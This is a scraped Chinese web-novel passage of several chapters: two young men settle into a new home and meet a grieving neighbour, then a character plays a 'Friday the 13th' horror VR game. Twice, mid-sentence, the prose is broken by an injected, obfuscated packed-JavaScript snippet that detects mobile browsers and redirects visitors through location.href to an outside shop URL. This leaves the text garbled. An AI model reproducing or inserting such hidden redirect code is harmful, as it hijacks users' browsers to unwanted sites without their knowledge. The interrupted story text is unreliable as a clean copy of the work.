杰夫没被汤姆的声情并茂唬住,凝着脸,将话题拉回来,“汤姆,我没有在开玩笑,这是认真的询问。请你老实回答我吧!你做了什么有意思的梦?” “呃,”顶着杰夫面无表情的注视,汤姆舌头打卷,耍不出别的花招,只能呐呐道,“我梦到你在埋我的尸.....” 杰夫的面无表情维持不住了,他气恼地打断:“你!——开玩笑的时候怎么不见你这么听话呢!” “不是你让说梦到什么吗?”汤姆委屈。 杰夫:“......” “我的错!”他软了声,朝汤姆道歉完,声音立马硬气回去,语气冰冷,“你居然觉得这有意思?汤姆,这个好笑!?” 杰夫皮肤薄,怒火翻滚,面庞连脖子带耳朵通红一片。这副咬牙切齿的模样,叫汤姆明白杰夫有多生气。他挠着后脑勺,爽快地认错: “抱歉,杰夫,我下次绝不会再开这样的玩笑了。” 从死神扣响了老杰夫的家门,杰夫变得更加疑神疑鬼,总疑心每一次不详是上帝将要剥夺幸福的预兆,提心吊胆着去避免一切厄运。而汤姆,杰夫只觉得不争气!只怕死神还没敲门,他就嘭地开门,屁颠屁颠跟着跑了。 “这是个噩梦,你绝对不会有事。”他固执地说,眼睛激动得充血,“我以我的性命发誓,我会照顾好你,绝不让死神有任何机会亲近你。” “我相信你,杰夫。你一直以来就是这么做的。”汤姆拍着杰夫肩膀,温声安慰道。他性子跳脱,一把好嗓音,常年清亮有力,现在低声下来,罕见显出他这个年纪青年人的沉稳。 回应他的是杰夫的拥抱。 杰夫没作声,只是抱住汤姆,用他那温凉的两只手掌将汤姆摁向肩膀。隔了一会儿,他松开手,眼睛还在发红,但神情又是沉着的。 他平和地说:“汤姆,刚刚没吓到你吧。对不起,我太激动了,竟然冲你发脾气。” “没事儿。”汤姆毫不在意地挥挥手,心里大松一口气。 都怪自己这嘴! 汤姆迫切需要摆脱这股不尴不尬的氛围,另起话头道:“其实我刚刚就想问了,你的眼睛怎么看着这么憔悴?” 沉默几秒,汤姆听到杰夫发出一声笑,气息拂过汤姆额边碎发,他感到有些痒意。紧接着,杰夫说出了让汤姆不敢置信、直揉耳朵的话。 “你睡了那么久,倒是舒服快乐了。留我一个人为了搬家而忙上忙下,现在还来看我的热闹喽?没良心的小混蛋。” “啊——啊?”汤姆惊诧得差点飙出海豚音。 杰夫语气里没有埋怨,但也没有丝毫玩笑意味。汤姆揉红了耳朵,只怀疑是自己听错。 见状,杰夫叹了一口气,知道不该和自以为只睡了一觉的汤姆怄气,于是松了力。汤姆顺势探出杰夫肩膀,将信将疑地瞄着杰夫苍白的脸色。 他知道杰夫一向不会开过分的玩笑,犹豫着问出声: “我真的......睡了很久?” “如果你认为一整天很短,那便不算久。” 瞧着汤姆不可置信的表情,杰夫轻声说:“我差点以为你不打算再醒来。再晚半小时睁眼,汤姆,你就会发现自己在医院病床上了。” “一整天!?怎么可能!” 汤姆差点从床上跳起来,褥子滑倒大腿处。杰夫眉毛一跳,拎着褥子两角绕着汤姆一卷,然后摁着肩膀将人塞回床上。 被裹成蛹的汤姆试图爬出,在杰夫淡绿眼睛平静地注视下,默默缩回肩膀,扯着嗓子大声说:“你在骗我吧。我要是真的睡那么久,现在能醒过来了,你不应该开心吗!” “我是很开心——在你回味无穷地分享荒诞的梦之前,”杰夫说着,声音又偏执起来,“忘了它,汤姆。梦里全是假的,你不可能有事。” “嗯,你在说什么?什么梦呀,我怎么一点印象都没有。”汤姆一脸真诚。 “你!”杰夫忍俊不禁,“你啊。” 汤姆哼哼两声,对于刚刚让杰夫无话可说很满意。“不过,我真睡了一整天?我怎么会睡一整天!” “哦,我确实没说实话。准确来说,是一天两夜。” 杰夫摊开手,示意汤姆看四周,“我们已经到了新家了,汤姆。” 汤姆眼珠子都睁圆了一圈,连惊呼都叫不出来,缓慢、呆滞地环顾。 房间布置迥异于睡前的酒店。贴着黄色墙纸的屋内,光线明亮。桌椅镶着铜条,与角落摆放的盆栽一起营造出几分充实的温馨。左前方有一块披着轻纱的窗户,风吹过时,白纱便兜着阳光像帆似的鼓起来。 窗外,对门领居黄屋顶上爬满青藤。明媚的日光洒在绿茵上,眼熟的小猫懒洋洋趴在草坪上打滚。 静谧之中,引擎的轰鸣声突兀得犹如响雷,急促、迅捷,呼吸间,便从门口干净宽敞的公路疾驰而过。车身白花花的钢铁外壳,亮得晃人眼睛。 汤姆眨了下眼,从眼前一片白光中回过神。意识到车辆嘈杂的引擎声时,他很快发现,静谧和这一块地方毫不相关。不间断的车流犹如雨天泥沟,寻不到一块干净地。 汤姆沮丧地说:“你不叫醒我?我都没有看到我们新房子的第一眼!而且,明明是我们两个的家,搬家这么多事,却都叫你一个人干了。” “这可不能赖我,汤姆。你一觉不起,怎么喊都没反应,只怕广场的大喇叭趴你耳边嚷嚷也叫不醒你。我们真得去医院看看。” “你用大喇叭喊了?” “......没有。” “说得像是你用了一样。”汤姆说得有气无力,垂头丧气地跌趟进床褥。 饶是杰夫知道汤姆情绪充沛,不免心疼,安抚道:“知道你一直很期待看到新房子,我一下车就举着相机给你拍下来了。照片还没冲洗,之后咱们可以去镇上,或者直接在屋里装一个暗室……” “这不一样。”汤姆插话。 “有什么不一样?屋子至少有个三四年没人住了,积满了灰。难道你想吃满嘴第一手的、新鲜的灰尘?” 汤姆被堵住话,一时也不知道说什么,索性撇头,眼不见为净。正巧瞧着窗户,看清窗外景象那一刻,汤姆陡然惊呼: “老虎!” 眼熟的狸花猫离开了草坪,正晃晃悠悠走向路中央。一声声喵叫,掩在远处开来的油罐车轰隆声中。 多年来的相伴,老虎这只猫咪不再是宠物,而是更亲密的如同亲人的存在。 汤姆觉得自己应该惊慌失措,实际是他很冷静,全身上下连皮带肉都是冷的。他从未有过这么冷静得不正常的时刻,连往日里有点大情绪就一惊一乍的病,也安安静静待在角落不出声。 杰夫已经冲下楼。要不是窗户狭小,他能直接翻过窗户跳下去。二楼不高,地上又铺满柔软的泥和草,摔不死人。 汤姆则扒开褥子,跑到窗口朝猫咪大喊。 猫咪回过头,杏核般的眼睛投出幽光。目光里倾注的深沉远非一只动物可以发出。 如同冷水泼来,汤姆心脏透出凉意,对这只相处多年的猫竟然生不出什么感情! 那真的是......老虎吗?汤姆恍惚。 熟悉的皮毛,唯独那双眼,仿佛给猫身注入截然不同的灵魂。 不是来自一只猫的注视,而是某种更为野性的存在投来的关注。 与这个怪念头一起出现的,是脊背滑过的令人颤栗的麻意,时间很短,当汤姆察觉过来时,已经忘了自己刚才愣神的原因。他似乎叫出了声,也可能没有。 老虎已经走到马路中,一屁股蹲坐下去,不紧不慢地舔舐毛发,从下到上,一点点地梳理打卷的毛发。 见老虎毫无反应,汤姆知道继续留在窗口,毫无用处。他当机立断转过身,离开屋子。跑前,余光瞥见杰夫出现在草坪上。 来得及吧?汤姆心想。 来得及的!杰夫咬牙,他离猫只有十几米了。这个距离,足够杰夫把这只憨乎乎的小猫看得一清二楚。 小家伙对危险恍若无觉,悠哉哉坐在马路上,粉舌头一卷,蓬松的毛发被舔得油光发亮。 杰夫的叫喊,它听不到,车辆危险的鸣叫,它也听不到。 两条腿的人能跑得过车? 从看到小猫到现在,半分钟不到的时间,油罐车反倒离猫的距离更近了。 杰夫几乎都要以为自己要眼睁睁看着老虎在面前死去,以至于他的大脑一片空白,连那个男人挺身而出的记忆也模糊不清了。 陌生男人动作敏捷,勾着狸花猫脖颈往后一退。下一秒,油罐车擦着一人一猫身旁呼啸而过。 公路两旁的树叶顿时沙沙响个不停,随风送来了刺鼻的燃油味。引擎的响声盖不住司机高亢粗暴的怒骂,而皮毛被拉扯的刺痛又惊得猫小姐发出持续的凄厉尖叫。 杰夫喘着气停下来,头发被风吹得有些乱糟糟的。顾不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764411|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上冷风渗入皮的刺痛,他冲男人道谢。 那位救下老虎的中年男人也在平复喘息,没听到杰夫说话似的,带着几条深皱纹的眼睛朝猫落下沉静的视线。他一动不动,用一种杰夫说不出的复杂眼神打量小猫。 杰夫认为这陌生人有点古怪。不过男人救了老虎,杰夫选择尊重。 男人抚摸猫咪的毛发,动作起先笨拙,惹得小猫不安地扭动。很快,男人摆脱了磕绊,手法熟稔起来,从小猫的头颅顺着脊椎揉到尾巴上方。 汤姆此时也气喘吁吁跑出来,和杰夫并肩站在一起。 他也看到了陌生人救猫的勇敢之举,面对面,汤姆发现与这个人矫健的身姿相反的是,他满头的白发。 白发苍苍的中年男人露出和善而客气的笑容,说:“你们好,小伙子们,先别急着说话,瞧你们慌张得还在喘着气,我想这应该是你们的猫。” “是的,先生,刚刚太感谢您了。不敢想,若没有了您,老虎会怎么样!”汤姆说着,准备将老虎抱过来。 老虎先一步跳下男人的怀抱,一溜烟朝着院子跑走了。汤姆见老虎健步如飞,四条腿迈动得轻快踏实,知道没什么大问题,也不阻止。 “先生?这个称呼可真叫人不适应。叫我刘易斯就好,别客气。你们是刚刚搬过来的吧,我就住你们对面,以后我们应该还会相处很久。看到那栋厚厚草坪围着的房子吗?就是它。我很欢迎你们来我家玩,蕾切尔也会很欢迎你们两个年轻人。” “刘易斯你都这么说了,我们也不客气。有你这样的邻居,我们太幸运了!老实说,来之前杰夫还担心遇到难缠的邻居呢。哦,瞧我,忘了自我介绍。我是汤姆。” “杰夫。”杰夫在外人面前一向言简意赅,能不说话就不说话。 汤姆笑着接过杰夫的话:“很高兴认识你,刘易斯。改天我和杰夫一定来拜访你和蕾切尔,希望不会给你们添麻烦。” “当然不会。”刘易斯有一双睿智明亮的眼睛,目光从汤姆和杰夫转了一圈,便看出两人的亲密关系,冷不丁地说,“你们领养了孩子吗?” “啊?没有。”汤姆愣了下才回答。 这个话题过于突然,汤姆还没见过比他问题还跳脱的人。 “哦,这很好,你们会轻松不少的。”刘易斯语气缓和,真心实意地为杰夫和汤姆感到高兴似的,“看好你们的猫,油罐车他妈的跟个醉汉一样,就爱在这条公路上横冲直撞。感谢他们,让我再次坚信了对上帝的信仰。原谅我这么说,谁叫除了上帝保佑,我想不出他们能活到现在的原因。你们没有孩子,这很省事儿。要知道,这条公路死过猫,也死过人。” 刘易斯挂着和蔼的微笑,看起来会是人们喜欢的那种友善领居,更别提刚刚他还勇敢地挺身,在车轮下救下了对汤姆和杰夫来说情如家人的猫。 汤姆很想感谢他,并发自内心敬爱这位老人,但是这不明不白的话叫他心底套上一层冰冷的纱。 清晨气温微凉。刘易斯语焉不详,不仅让他的微笑显得诡异,也叫人心头发麻。 汤姆手背在身后,悄悄地狠拽着杰夫衣服。杰夫回握了汤姆的手,面色如常,说: “谢谢你,刘易斯。你的提醒对我们很有帮助。” “那就好,毕竟意外之所以是意外,就在于它的突如其来。我们只能尽可能做准备去避免。”刘易斯语气恢复正常。 汤姆没忍住困惑,问:“这条马路真的死过人吗?” “就我所知,丘吉尔死在了这条马路上。” “丘吉尔?” 杰夫和汤姆面面厮觑,两张俊秀的年轻面孔上,如出一辙的茫然。 “哦,我女儿养的猫,”刘易斯如同恶作剧成功的顽皮小孩,调皮地回答,“大名是有点普通,老和人撞名。我们更多地叫它小名,啾吉。” 汤姆拍着受惊的胸脯,“你可太幽默了。” 杰夫在一旁默默颔首。 “不过,”想到家里的小猫老虎,汤姆说:“小猫确实是家人,这么说倒也没错。” 刘易斯哼笑着否认道:“你误会了。我可以不避讳地告诉你,就在这条公路上,十来年前,一辆卡车撞死了小孩。”他沉思了下,余光瞥到草坪上的小猫,“看到刚才那辆白色油罐车了吗?如果这只猫对你们而言确实很重要,那我想你们很难会忘记这辆车。就是这种车常撞死人。” “真的吗!”汤姆并非质疑。人在惊奇下总会不自觉反问。 老人两只洞察人心的眼珠分毫不差地落到汤姆身上,没什么打量意味,只是定定地看着。汤姆便脖子一缩,后悔发问了。 “这当然是真的,现场的细节我现在都还记得清清楚楚。你们不用质疑这一点,换做是你在现场,你也一定忘不了的。不过,你比当时的我年轻,你说不定能跑得更快,也许能阻止这场事故呢?” 没管听得一头雾水的汤姆和杰夫,刘易斯自顾自地摇头,道:“当然,这是不可能的。” 他一字一句流利地说:“你只会在追到十码时,看到地上的棒球帽。追到二十码,看到一只运动鞋。当你跑到四十码,你会感到大快人心,那个真他妈该下地狱的卡车翻倒了。五十码,一条内里翻出来的连身裤。七十码,你看到他的另一只运动鞋。但想看到那孩子,你还得再追上三十来码,差不多是一个足球场的长度。”① 描述详细,像是亲眼见过般,哪怕刘易斯的语气再温和平静,都叫汤姆和杰夫陡然升起不好的预感。接着,就听刘易斯用自嘲的口吻说: “我是一名医生,可我追了一百来码,直到目睹尸体之前,我都觉得凯奇——我可怜的小儿子会活着。” 这话足以让涉世未深的善良青年负疚。 “请原谅!......”汤姆呐呐地说,“刘易斯,我很抱歉......” 汤姆只觉得胸口仿佛挨了一锤重击,说不出更多的话来,仅有的念头不停叩击他的心脏—— 我真该死啊! 内疚又无措的汤姆选择朝杰夫转过脸。他一句话也没说,杰夫就明白汤姆在求助。然后,杰夫用面上勉强才维持住的笑容回答汤姆——他也对刘易斯这番话感到大为棘手。 也不待他们组织措辞,刘易斯挂着温和而忧郁的微笑,对两位局促不安的年轻人怪声怪气道: “请不用一副惭愧得要死的模样,毕竟葬礼是在1992年举办,你们赶不上趟了。当然,我也很希望上帝能给我准备第二次葬礼的机会,可是人不能死两次——至少名义上是这样。不过,凯奇的坟墓你倒是可以去看。凯奇和你一样,好奇心旺盛。他会喜欢你的。” 24.十三号星期五01 你想过几百年后的世界吗? 人类离开地球,穿梭于星际恒星之间。医疗技术飞速进步,断臂复生不再遥不可及。 汤姆出生于这样的星际时代。刚毕业就被卢威博士邀请,成为科考队的一员,常年随飞船漂泊。 航行的旅途漫长且沉闷。很快,汤姆注意力都被吸引到飞船的娱乐消遣上,并迅速和同为博士学生的亚兹拉一拍即合,愉快地沉迷虚拟游戏。 不幸的是,三天前他们闹掰了——汤姆又一次把《入侵!星际怪兽》的巨兽引给亚兹拉,幸灾乐祸地杵在安全地带旁观,并在亚兹拉准备反击时抢先一步杀了怪兽。 “搞什么鬼!?”亚兹拉尖声道,“你还是个男人?为什么不堂堂正正地玩,这不公平。”他总觉得汤姆心眼多,是个十足十的坏家伙。偏偏教授、别的学生都喜欢他。 汤姆正喜滋滋查看游戏奖励,亚兹拉一直在耳边嚷嚷,叫他烦不胜烦,分出心思说:“有本事你也把怪引给我啊?你要是有绝对的实力,你会怕这个?” 话落,汤姆斜了一眼亚兹拉。那眼神仿佛在说,弱就直说。 可把亚兹拉气得直跺脚。“汤姆你实力又强到哪儿去?”他恶狠狠地说,“你迟早会栽的,不可能一直好运。” 汤姆耸了耸肩,满不在乎地说:“如果这么说能安慰到你的话。” “啊——啊该死!”亚兹拉火气嘭的往上又撞高一截,“汤姆,你不讲游戏规则,总是捣蛋,只顾自己高兴。我绝不要和你一起玩!。” 汤姆这才把视线从屏幕移开,正眼瞧了亚兹拉,眼眸明亮。 不一起玩?有这种好事儿? 汤姆上飞船科研前新购入名为《Friday the 13th》的单机游戏。他正愁怎么和亚兹拉说呢。 亚兹拉得了汤姆注视,只觉得浑身不得劲,胸膛怒火噗的一下熄灭了。他还不由去想汤姆的好,可怜汤姆除了他就没有游戏伙伴了,扭捏着补充,“除非你......” 汤姆忙说,“再见。” 语调轻快,两眼还弯着,笑得可灿烂了。 亚兹被那口小白牙闪到了眼,硬生生咽下嘴边的话,表情难堪,像吞了外星巨怪的涎水。他扯下虚拟设备往地面一丢,气冲冲地夺门而出。 “哇哦,看来真的气到了。”汤姆摇着头说,虚拟游戏设备还好好挂在耳朵上。 等舱门合拢,汤姆调出《Friday the 13th》游戏界面。 《Friday the 13th》是一款对抗杀人狂的游戏。游戏走复古风,图标是一副布满窟窿的曲棍球面具,额头、嘴角处涂上猩红的三角形。 “有点平平无奇啊。”汤姆评价道。 和《入侵!星际怪兽》眼珠突出幽森、锯状利齿挂着碎肉的猩红巨怪相比,这个图标既不恐怖也不血腥。除了色调灰暗,没什么特别之处。 汤姆犹豫要不把亚兹拉找回来继续玩《星际怪兽》,“这游戏看着不怎么样啊......”忽地,他想到花的钱,脸上露出肉疼的表情,“不——不行!怎么也是花了钱买的。至少得通关。” 钱不能白花。汤姆心想。 “进入游戏主界面。” 虚拟游戏没有触键,声控即可操作。草地从吉来座位处波浪状蔓延开,飞船舱的钢铁皮消失,取而代之的是望不到尽头的森林和一片湖泊。 湖边木制码头尽头处,停靠了一艘船。暮色昏暝的森林里,树木与灌木丛交错。扭作一团的枝干,在月光下,形成巨兽一样粗壮的阴影。 不对。 汤姆眯眼打量。丛林中藏了人。 他走进森林,这人的身形清晰起来。 一个带着曲棍球面具的高大男人,握着把砍刀,尖端拖到地面,在红褐色的泥地划出细细的长痕。刀刃反射出白森森的光,细看下似乎还有张惊恐的人脸。 汤姆左右瞧了瞧,没有人,撇了撇嘴道:“胡扯呢。” 真不严谨。这年头,游戏已经这么不择手段,为了营造恐怖氛围,不顾光的反射原理? 这应该就是一个杀人狂。汤姆意兴阑珊地扫视男人手中的长刀,“用冷兵器,看来年代是真的久远。” 不会所有的杀人狂武器都是冷兵器吧?汤姆想到这,眉头皱起来。 可别,冷兵器什么的一点也没劲儿,又弱又脆。一般的游戏制作商不至于连这点都不清楚。 不过,这游戏风格迥异,汤姆不放心用常理揣度,谨慎起见,他呼出系统:“调出所有杀人狂信息。” 【姓名:杰森·沃赫斯】 【身高:六英尺六英寸(约2米)】 【体重:三百磅(约136公斤)】 【年龄:*】 【能力:*】 等了好一会儿,界面信息没有变化。 汤姆瞪大了眼,惊呼:“没了?就一个,还不全。你开玩笑呢?” 这游戏正规吗?合格吗?他不会被骗了吧! 游戏商城上架的游戏,要价不低。但商城不至于这点烂钱都不放过吧。 星际怪兽几十个起步,击杀完也就一两个小时!杀死一个古地球时代用冷兵器的杀人犯又能多久? 而且,听说古地球的人类摔个跤都可能半身不遂,只能活一百来岁。可脆弱了! “商城。”汤姆说。他打算买点热武器速战速决,却见界面再度卡了似的,一动不动。“没有商城?”汤姆感到诧异。 连商城都没有,这游戏太粗制滥造了吧? “但是,”汤姆摸了摸下巴,“这样的话,似乎挺有难度的。”他的兴趣被吊起来了。 这点兴致勃勃没有保持多久,在看到一长串的游戏说明后,汤姆脑袋发晕。想着虚拟游戏商城收纳的游戏不可能没有安全保障,他飞速地跳过游戏说明、注意事项、环境参数、新手引导—— “嗯?” 刚刚好像跳过不该跳的东西。 汤姆捣鼓一分钟,也没能返回。幸好,他玩游戏想怎么玩怎么玩,向来不听游戏引导。跟着引导走那总让汤姆觉得像被套了条条框框,不痛快。 最后出现的是痛觉调整。 汤姆想都不想,自信满满拉到顶。玩这种游戏当然要讲究一个真实! 紧接着出现的是十来个选项,《Friday the 13th 1》《Friday the 13th 2》...... 这游戏关卡还挺多呀。 看见最后一个选项时,汤姆表情变得一言难尽。 《A SLASHER DATING SIMULATOR》。 “哈?与杰森谈一场甜甜的恋爱?”汤姆啧了一声,感慨游戏的变态。 但这也说明游戏自由度不低。关卡没有介绍,应该是要玩家自己探索。 视线在这些星期五上转来转去,愣是没想明白名字用意的汤姆随意选了一个: “黑色星期五。” 【游戏载入中......】 【游戏加载成功】 【地点:水晶湖】 【时间: 1980年6月13号晚】 雨夜。 半人高的灌木丛密匝匝分布,月光撒下暗淡的光线,急促的喘息响彻在黑暗中。 汤姆完全没有感受到雨。雨点穿过他透明的身体,嗡嗡地砸到泥土。他思索道:“这似乎是前置背景?” 雨幕中有两人在对峙。 年轻的长发女人浑身发颤,发白的脸色糊满眼泪,哆哆嗦嗦地发问:“沃赫斯,为、为什么......” 沃赫斯? 和杰森一个姓。汤姆好奇地打量。 被称为沃赫斯的女人看着三十来岁,一头金色鬈发,身体半掩在树木从中,露出的面容恬静。说话声音也温温柔柔:“杰森是我的儿子,你们害死了他,当然要为他付出代价。” 要不是听得懂,就这语气说她这话是我爱你,都有人信啊! “酷毙了。” 这种冷静温柔的人让他想起警卫队队长,柏斯基中士。爱屋及乌下,汤姆对沃赫斯女士很有好感,庆幸游戏没把这位沃赫斯作为目标,他下不了手。 “我什么都没有做!” “你淹死了他。”沃赫斯心痛地说,她的目光染上了悲伤和愤怒的色彩,被雨水打湿的卷发变得张牙舞爪。 沃赫斯举起砍刀,目光和身影一起刺破接续不断的雨幕,步步逼近的压迫感,如同黑夜一样不可抗拒。 长发女人惊慌失措,害怕得不能自已,“没有!不、不要,拜托。不——” 绝望的尖叫中,她身躯爆发出自己都没想到的巨大力量,猛地挥舞出手中的斧头,砍飞了沃赫斯的头颅。 “啊——啊?”汤姆来不及为急转而下的这一幕惊讶,就先感受到颈根在阵阵发凉,下意识摸了摸脖子。 入手肌肤光滑。 汤姆放松地舒了口气。虽然现在纳米医疗技术成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764412|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟,但是砍掉脖子后想要复活,还是比较困难吧。 长发女人已经跌跌撞撞地跑走了,留了一路的血,被雨点砸进泥土,冲淡了铁锈味。 雨还在下着,看来还没结束。汤姆继续看下去。 一个五官畸形的小孩从灌木丛爬出,迈着两条光裸纤细的腿,朝着尸体踉踉跄跄地奔来。 眼珠像星际巨怪一样有种未开智的木然,坑洼又连续在一起的五官,如同支半融化的冰淇淋,除了略微起伏的鼻梁,其他都于面庞融成一团。 幸亏这是个单人游戏,亚兹拉没来玩。不然叫他见着了这个嘴角连着鼻子,五官跟串珠子一样挤成一块的模样,准吓得哇哇大叫。 至于汤姆,常年与实验室各种奇形怪状生物接触,他早就练就了一颗强大的心脏。虽然亚兹拉他们称呼这为审美的扭曲。 汤姆觉得这小东西——不是,这小孩丑得眉清目秀,怪可爱的。 然后,汤姆就被骤然响起的女声吓得头皮一麻。 “Jason,my son——” “Kill for mother.” 汤姆下巴都要惊掉了,结结巴巴道:“这——不——不科学!为什么死人能发声……不对,她嘴巴也没动呀。” 他听出了这是一分钟前还活着的沃赫斯的声音。声音依然柔和,然而加上颗两目圆睁的头颅和脖子喷血的尸体,还有长相畸形的男孩,轻柔的语调也成了恐怖的催化剂,黑夜下一切显得更阴森森。 缓过神后,汤姆回想着剧情,喃喃自语: “所以,那个小孩就是杰森。而杰森是一个遵从妈妈遗愿,嗯应该是遗愿,然后大开杀戒的杀人狂。沃赫斯不是说杰森已经死了?这游戏死亡这么胡闹呢。” 汤姆带着满腹疑惑结束了前置剧情。场景又在变换,波浪扩散开,黑夜、雨、尸体和男孩都在消失。 眼见新的场景即将载入,汤姆忽地想起了什么,手忙脚乱退出。一阵扒拉后,汤姆找到痛觉设置界面。 他喜不自胜,忙不迭将痛觉一鼓作气拉到最低。 砍脖子的真实体验还是算了吧。汤姆心有余悸地摸着脖颈。 再次进入游戏,汤姆身处一片密林之中,太阳光照得丛林里亮堂堂的。 森林怡人的清香中,还带着湖水潮湿的气味。风吹动树叶摩挲,发出舒缓的沙沙声。 汤姆翻找背包,面包、矿泉水、GPS定位仪,还有一个钱包,里面装着一些现金和诸如驾驶证、SSN卡的身份证件,名字都是汤姆,不过多了个托马斯的姓。 汤姆径直忽略了多出的姓,心想,这游戏还挺有代入感。 检查好包后,汤姆准备跟着GPS走。可这巴掌大的设备太陌生,汤姆用拆过实验与飞船设备的手操作一通,成功让机器报废、提前退休。 汤姆心虚地将GPS丢进草丛,仿佛什么都没干过。 不知道走了多久,夕阳摇摇欲坠。汤姆累得不轻,两腿发酸直打颤。风吹过,整个人会像树叶般左右晃悠一下。 因此,看到前方沙丘和荆棘处出现人时,汤姆差点喜极而泣,一声诚挚的招呼脱口而出:“Hey,bro.” 那人背对着汤姆,被树枝遮了一半的脑袋方正,高大的身影一动不动。 汤姆觉得有些眼熟,小跑靠近后,他发现这人头上带着褐色麻袋。那股若隐若无的熟悉感砰的没了。 一般身材高大粗壮的人容易让人心生畏惧,不敢接近。但汤姆遇到的陌生人,确是少数的反例。戴了麻布头套后的憨傻气息,叫这人外形显得没那么高大健硕,脑子的不正常愈发突出。 不过都已经走进了,汤姆想着顺口问一下。“你知道这是哪儿吗?”他问。 这话似乎终于传到陌生人耳朵,他迟滞的身形开始动作,不急不慢地转身。速度不快,但利落。以至于当汤姆发现与陌生人一并转过来的,还有一把惨白的砍刀时,刀刃已经洞穿胸膛。 鲜血溅洒在一侧的枯树皮上,顺着树干纹路往下流。 【游戏角色已死亡。】 汤姆:“??”这谁啊,一上来就杀人! 他,他就这么死了? 汤姆捂住气鼓鼓的胸膛,憋着气看着头套人抽出砍刀后,尸体顿时垂软摔倒地面。 荆棘丛被压出脆响,凹陷了一块,沙丘的尘土飞扬,在夕阳光照射中,犹如洋洋洒洒的细雾般朦胧。 头套人木着眼,毫不在意,拎着砍刀径直离开。 25.十三号星期五02 看来头套人就是杰森!这见面二话不说上砍刀的个性,还真不愧是个杀人狂。 可恶,小瞧了。汤姆坚信是自己大意,给了杰森可趁之机。他振作起来,气势汹汹地冲进游戏。 进入游戏后,汤姆环顾四周。他看见一条公路和两边的密林。 时不时轰轰驰过的汽车给了汤姆信心。他想,杰森不至于如此大胆,在众目睽睽之下杀人。 汤姆接着搜遍全身。没有找到身份证件,只有一个塞满了纸钞的口袋。 这时,几声狗叫吸引汤姆的注意,他循着声音望去。前方有一家汽车旅馆。 汤姆眼前一亮。 商店! 可以买东西! 汤姆忽然想到,游戏不卖.热武器,但他可以手搓啊。身为常年在宇宙星球间奔波的科研人,这点小小的防身手段还是具备的。 旅馆分两层,一楼商店,二楼住宿。老板詹姆斯是一个四十来岁的胖男人,挺了个甜甜圈似的肚子,边打着哈欠边用抹布擦柜台,惺忪的眼睛顺便扫一眼桌上的报纸。 星际时代少见胖子。纳米医疗技术能让人人都可以保持俊瘦外形。汤姆本来打算买东西,没忍住多瞅几眼,被抬头的詹姆斯逮个正着。 “看我做什么?”詹姆斯问。 汤姆发自内心感慨:“很少看到你这样胖,还能忍住不做手术的人。真有毅力啊。” 老板笑着的脸腾地烧红了,气得声音打哆嗦,“臭、臭小子!敢嘲笑我,找抽呢?”他吼道,手掌一拍,柜台上的酒瓶被震得摇摇欲坠。 这游戏智能还挺高。看着骂骂咧咧在撸袖子的詹姆斯,汤姆决定收回前面粗制滥造的评价。 为了避免被扫地出门,汤姆随即转变态度。“哎哟,小心一点呀。”他用一种夸张的姿态扶稳酒杯,好像酒瓶子下一秒就会落地,“这不便宜吧?别磕着了。” 这一打岔,詹姆斯怒火不上不下,一脸莫名其妙。 “你刚刚是生气了?”汤姆语气不确定,抓了抓后脑勺,“我是夸你呀,老兄。我太敬佩你这样勇敢坚毅的人了。毕竟我要是胖了,别人准会朝我指指点点,我,我受不了......”他垂下头,仿佛难过至极。 不对,低过头了。 汤姆仰起一点下巴,确保自己叫人看了保准是另有隐情的隐忍表情能被看到。 詹姆斯觉得这话似乎和前面说的不一样。但汤姆皮囊是真的漂亮,露出落寞的神色不知道能让多少姑娘心动。詹姆斯不禁手臂起鸡皮疙瘩,忙道:“行了行了。你小子下次说话注意点。” 汤姆乖巧点头,“好的。我叫汤姆,你呢?” “沃克·詹姆斯。”詹姆斯皱着眉,思索道:“你这名字好像有点耳熟。” “难道你家有一只会和老鼠交朋友的猫?”汤姆开了个冷笑话,“詹姆斯你真委婉,你是想说这名字太大众吧。” 这话让詹姆斯灵光一现,忘了原来在想什么。“没有猫,但可以有一只叫汤姆的狗。” 汤姆有点生气,但脸上笑得更灿烂,说话也更轻柔: “詹姆斯,这不好吧。我知道自己讨人喜欢,你也是个人,但第一次见面就喜欢到想借着身边东西和我攀关系,还是太冲动了吧?我知道,你不是那种只会拍脑袋决定的蠢人。我就是怕狗狗会不开心。因为我影响了你们形如父子的关系。多不好呀。” “说错了,它叫杰瑞。”詹姆斯迅速改口。他鸡皮疙瘩冒了一身。 跟我玩阴阳怪气?汤姆甜甜一笑:“那真可惜。对了,詹姆斯,你这里卖东西是吗?” “说废话呢。”詹姆斯冷笑。 “你态度真差劲。这么对顾客可不行哦。还好挨你冷眼的是我,要是别人,说不定转身就走。”汤姆亲昵地埋怨道。 那种被鸡皮疙瘩控制的感觉又来了。顶着汤姆状似真诚无比的眼睛,詹姆斯木着脸,说:“我们这儿是卖东西的店。你要买什么直说。” 亚兹拉总不明白汤姆为什么受大家欢迎。他学过汤姆说话,受不了的众人奋起就是一顿暴揍,博士觉得他太闲,轻描淡写地罚写三千字实验报告。此后,任凭汤姆怎么解释,亚兹拉用他连夜赶出三千字报告的手起势,他坚决不承认这是秘诀。 其实亚兹拉说的也不算错,毕竟这么说话,还得有一张出挑到让人不忍下手的脸蛋。 想到这儿,汤姆笑容更真挚了:“詹姆斯,聚合杆有吗?” 